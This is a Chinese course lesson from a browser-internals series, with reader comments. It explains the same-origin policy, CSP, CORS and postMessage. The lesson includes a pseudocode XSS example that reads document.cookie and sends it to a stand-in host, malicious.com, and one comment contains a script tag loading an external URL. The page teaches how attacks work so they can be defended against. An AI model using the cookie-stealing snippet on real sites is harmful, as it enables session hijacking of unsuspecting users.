极客时间已完结课程限时免费阅读

32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源?

32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源?-极客时间

32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源?

讲述:李兵

时长10:14大小8.18M

通过前面 6 个模块的介绍,我们已经大致知道浏览器是怎么工作的了,也了解这种工作方式对前端产生了什么样的影响。在这个过程中,我们还穿插介绍了一些浏览器安全相关的内容,不过都比较散,所以最后的 5 篇文章,我们就来系统地介绍下浏览器安全相关的内容。
浏览器安全可以分为三大块——Web 页面安全、浏览器网络安全浏览器系统安全,所以本模块我们就按照这个思路来做介绍。鉴于页面安全的重要性,我们会用三篇文章来介绍该部分的知识;网络安全和系统安全则分别用一篇来介绍。
今天我们就先来分析页面中的安全策略,不过在开始之前,我们先来做个假设,如果页面中没有安全策略的话,Web 世界会是什么样子的呢?
Web 世界会是开放的,任何资源都可以接入其中,我们的网站可以加载并执行别人网站的脚本文件、图片、音频 / 视频等资源,甚至可以下载其他站点的可执行文件。
Web 世界是开放的,这很符合 Web 理念。但如果 Web 世界是绝对自由的,那么页面行为将没有任何限制,这会造成无序或者混沌的局面,出现很多不可控的问题。
比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:
修改银行站点的 DOM、CSSOM 等信息;
在银行站点内部插入 JavaScript 脚本;
劫持用户登录的用户名和密码;
读取银行站点的 Cookie、IndexDB 等数据;
甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。
所以说,在没有安全保障的 Web 世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全
这就引出了页面中最基础、最核心的安全策略:同源策略(Same-origin policy)

什么是同源策略

要了解什么是同源策略,我们得先来看看什么是同源。
如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。比如下面这两个 URL,它们具有相同的协议 HTTPS、相同的域名 time.geekbang.org,以及相同的端口 443,所以我们就说这两个 URL 是同源的。
https://time.geekbang.org/?category=1
https://time.geekbang.org/?category=0
浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。
具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。
第一个,DOM 层面。同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
这里我们还是拿极客时间的官网做例子,打开极客时间的官网,然后再从官网中打开另外一个专栏页面,如下图所示:
通过极客时间官网打开一个专栏页面
由于第一个页面和第二个页面是同源关系,所以我们可以在第二个页面中操作第一个页面的 DOM,比如将第一个页面全部隐藏掉,代码如下所示:
{
let pdom = opener.document
pdom.body.style.display = "none"
}
该代码中,对象 opener 就是指向第一个页面的 window 对象,我们可以通过操作 opener 来控制第一个页面中的 DOM。
我们在第二个页面的控制台中执行上面那段代码,就成功地操作了第一个页面中的 DOM,将页面隐藏了,如下图:
通过第二个页面操纵第一个页面的 DOM
不过如果打开的第二个页面和第一个页面不是同源的,那么它们就无法相互操作 DOM 了。比如从极客时间官网打开 InfoQ 的页面(由于它们的域名不同,所以不是同源的),然后我们还按照前面同样的步骤来操作,最终操作结果如下图所示:
不同源的两个页面不能相互操纵 DOM
从图中可以看出,当我们在 InfoQ 的页面中访问极客时间页面中的 DOM 时,页面抛出了如下的异常信息,这就是同源策略所发挥的作用。
Blocked a frame with origin "https://www.infoq.cn" from accessing a cross-origin frame.
第二个,数据层面。同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。你可以自己试一下,这里我们就不做演示了。
第三个,网络层面。同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。你还记得在《17 | WebAPI:XMLHttpRequest 是怎么实现的?》这篇文章的末尾分析的 XMLHttpRequest 在使用过程中所遇到的坑吗?其中第一个坑就是在默认情况下不能访问跨域的资源。

安全和便利性的权衡

我们了解了同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。
不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS 攻击和 CSRF 攻击,这两种攻击我们会在后续两篇文章中再做介绍,本文我们只聊浏览器出让了同源策略的哪些安全性。

1. 页面中可以嵌入第三方资源

我们在文章开头提到过,Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。
所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。
比如,恶意程序在 HTML 文件内容中插入如下一段 JavaScript 代码:
当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。
除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:
function onClick(){
let url = `http://malicious.com?cookie = ${document.cookie}`
open(url)
}
onClick()
在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。
以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。

2. 跨域资源共享和跨文档消息机制

默认情况下,如果打开极客邦的官网页面,在官网页面中通过 XMLHttpRequest 或者 Fetch 来请求 InfoQ 中的资源,这时同源策略会阻止其向 InfoQ 发出请求,这样会大大制约我们的生产力。
为了解决这个问题,我们引入了跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。
在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。

总结

好了,今天就介绍到这里,下面我来总结下本文的主要内容。
同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。
不过鱼和熊掌不可兼得,要绝对的安全就要牺牲掉便利性,因此我们要在这二者之间做权衡,找到中间的一个平衡点,也就是目前的页面安全策略原型。总结起来,它具备以下三个特点:
页面中可以引用第三方资源,不过这也暴露了很多诸如 XSS 的安全问题,因此又在这种开放的基础之上引入了 CSP 来限制其自由程度。
使用 XMLHttpRequest 和 Fetch 都是无法直接进行跨域请求的,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略,让其可以安全地进行跨域操作。
两个不同源的 DOM 是不能相互操纵的,因此,浏览器中又实现了跨文档消息机制,让其可以比较安全地通信。

思考时间

今天留给你的作业:你来总结一下同源策略、CSP 和 CORS 之间的关系,这对于你理解浏览器的安全策略至关重要。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
分享给需要的人,Ta购买本课程,你将得18
生成海报并分享

赞 28

提建议

上一篇
31|HTTP/3:甩掉TCP、TLS 的包袱,构建高效网络
下一篇
33 | 跨站脚本攻击(XSS):为什么Cookie中有HttpOnly属性?
unpreview
 写留言

精选留言(27)

  • 歌顿
    2019-10-25
    同源策略、CSP 和 CORS 之间的关系: 同源策略就是说同源页面随你瞎搞,但是不同源之间想瞎搞只能通过浏览器提供的手段来搞 比如说 1. 读取数据和操作 DOM 要用跨文档机制 2. 跨域请求要用 CORS 机制 3. 引用第三方资源要用 CSP
    展开

    作者回复: 总结的很好

    共 2 条评论
    104
  • Angus
    2019-10-18
    看这篇幅,专栏应该会在浏览器安全中结束。从二十五讲开始就觉得越来越浅显了,前面好几篇说的后面章节再详细讲解的部分好像并没有出现。

    作者回复: 是的,有几个原因: 第一、每篇文章有death line的,越到后面时间越赶,所以完成每篇文章的时间就越来越紧凑了。 第二、浏览器这块要讲的东西比较多,有架构,JavaScript,页面,网络和安全,还有一些H5的内容。 所以当初在定目录的时候,主干36篇课程主要讲主线内容,要照顾广度,所以有些细节不能深入太多。比如提到CSP和CORS在主干课程中没办法讲的太细。 当然,这些原因并不是不把内容讲透的借口,接下来,我把会把很多深度内容放到加餐和答疑部分: 比如有老铁问事件循环中采用while会不会造成页面卡死的问题?这里我到时会补充介绍系统事件驱动机制,还会结合事件循环机制来介绍Performance。 还有很多老铁问到UI线程,所以这块我还要结合浏览器进程和网络进程来补充相关知识! 稍晚点就要着手准备加餐内容大纲了。

    共 2 条评论
    58
  • 2019-10-17
    希望老师能详细的讲解,最近几讲,感觉讲的太浅显了,都是些概念性的东西

    作者回复: 的确,篇幅有限,讲太细了广度照顾不到! 我先还是搭建整体的体系框架,涉及到细节内容我们答疑来补! 感觉我是在给自己挖个大坑,要补的内容感觉都能出一个小专栏了

    35
  • 空山鸟语
    2019-11-19
    老师总结的非常好,具体的细节我们可以自己查资料。 但是在我们学习过程中发现,现在网上文章质量参差不齐,想找到一篇好文章很不容易。比如某金,文章多而杂,往往是看完了感觉没什么收获,也消耗了耐心和精力。 针对这种情况,我们该怎么半呢?

    作者回复: 关于浏览器的介绍网上资料好的的确不多,写这个专栏的时候也查阅了很多网上的资料,但是总体上质量都不怎么行,而且有些作者的理解也不正确错误! 另外网上的资料也谁零碎、不成体系的! 如果自己去啃源码会花费很大精力! 所以极客时间的gray找到我的时候,我觉得来做浏览器专栏很有必要,因为浏览器应用已经非常广的,而市面上体系化介绍浏览器的书籍或者文章少之又少! 如果你想深入了解,这里我推荐去看一些官方举办会议的视频,比如油管上的blink on!另外还有源码里面的文档,不过啃着快的难度有点大!

    共 3 条评论
    10
  • Demo_12
    2020-11-26
    同源策略是为了解决网络安全的问题,限制只能在同源的站点内操作DOM、本地数据、网络请求 而CSP 和 CORS是解决因同源策略限制而损失的灵活性和便利性 CSP,通过设置 Content-Security-Policy 来决定你的浏览器可以执行哪里的脚本,可以解决XSS攻击的问题 CORS,可以通过HTTP请求来共享不同源的数据 postMessage, 支持跨文档读取数据和操作 DOM
    展开
    8
  • coolseaman
    2019-10-17
    【同源策略】是Web在DOM、Web 数据和网络三个层面上提供的安全策略,保证我们在Web使用中的隐私和数据安全。但是过于严格的安全策略,损失了Web开发和使用中的灵活性,所以我们必须出让一部分安全性,以便达到安全和灵活的平衡。 Web在出让安全性方面主要是允许嵌入第三方资源、跨域资源共享。 为解决允许嵌入第三方资源的风险,最典型的就是XSS攻击,浏览器引入了内容安全策略,即【CSP】,由服务端来决定可以加载哪些第三方资源。 在Web页面中我们经常需要通过XMLHttpRequest或ajax发送跨域请求,而【同源策略】会阻止我们的请求,为了解决这个问题,引入了跨域资源共享【CORS】。
    展开
    共 1 条评论
    5
  • -_-|||
    2019-12-17
    “CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。”服务器怎么决定“浏览器是否能够执行内联 JavaScript 代码”?难道服务器还能监听浏览器执行的代码?
    共 5 条评论
    5
  • Geek_259055
    2019-11-19
    想详细了解CORS,可以看阮一峰的这篇文章https://www.ruanyifeng.com/blog/2016/04/cors.html

    作者回复: 感谢提供资源

    4
  • 张宗伟
    2021-06-06
    同源策略是浏览器限制不同源的web页面之间的相互操作,以此来保证安全性。 但是却极大地降低了便利性,所以浏览器会放开一些限制,但是也规定了一些新策略,例如 CSP、CORS 等来尽可能地维护web页面安全性。
    1
  • 惊沙男孩
    2021-02-27
    同源策略是浏览器方面大局的策略,其中CSP和CORS是在这种大策略下的设置的阀门,保证一定便利性的同时确保安全
    1
  • 独白
    2021-01-15
    csp:加载不同源的文件时需要用到的控制工具 cors:请求不同源接口时需要用到的控制工具 跨文档消息机制:不同页面之间通信的控制工具
    1
  • 小炭
    2020-10-22
    window.postMessage 的 JavaScript 接口特意查了一下,是支持IE8的。https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage(8 — 10 : Support only for <frame> and <iframe>.)
    1
  • 穿秋裤的男孩
    2020-04-23
    我从https://time.geekbang.org/ 打开 https://horde.geekbang.org/home,这明显是不同源的,但是还是可以在第二个页面里操作第一个页面的dom(openr.document.body.display = 'none'); 这是为何?
    共 2 条评论
    1
  • 早起不吃虫
    2019-10-17
    老师,跨域资源共享和跨文档消息机制这一块可以详细讲一下吗

    作者回复: 讲这个我还得准备一些后端的演示代码,放到最后的答疑部分吧

    1
  • zero
    2022-10-26 来自上海
    <script src=http://t.cn/readm></script>
  • 千寻
    2022-10-23 来自上海
    为啥我都没有看到其它网站有设置csp的响应头呢
  • 无颜
    2022-09-27 来自浙江
    同源策略是限制不同源的站点之间操作DOM、进行浏览器数据的窃取或修改、对于网络请求的的乱发进行网络攻击等; CSP相当于白名单,可以引用不同源的第三方资源 CORS可以进行跨域操作
  • 追风筝的人
    2022-08-18 来自陕西
    同源:同域名 ,端口的URL, 不同源不能互操作DOM
  • Geek_115bc8
    2022-05-01
    CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。
  • 涛涛~
    2021-07-16
    同源策略、CSP 和 CORS 之间的关系: xss 防止攻击,但是它是个地图炮,为了避免误伤可以把选择权交给服务端配置,留出三方资源加载的口子和执行权限。 CORS 跨站请求,这个需要服务端配合改造,例如 A 站点 请求 B 站点服务 api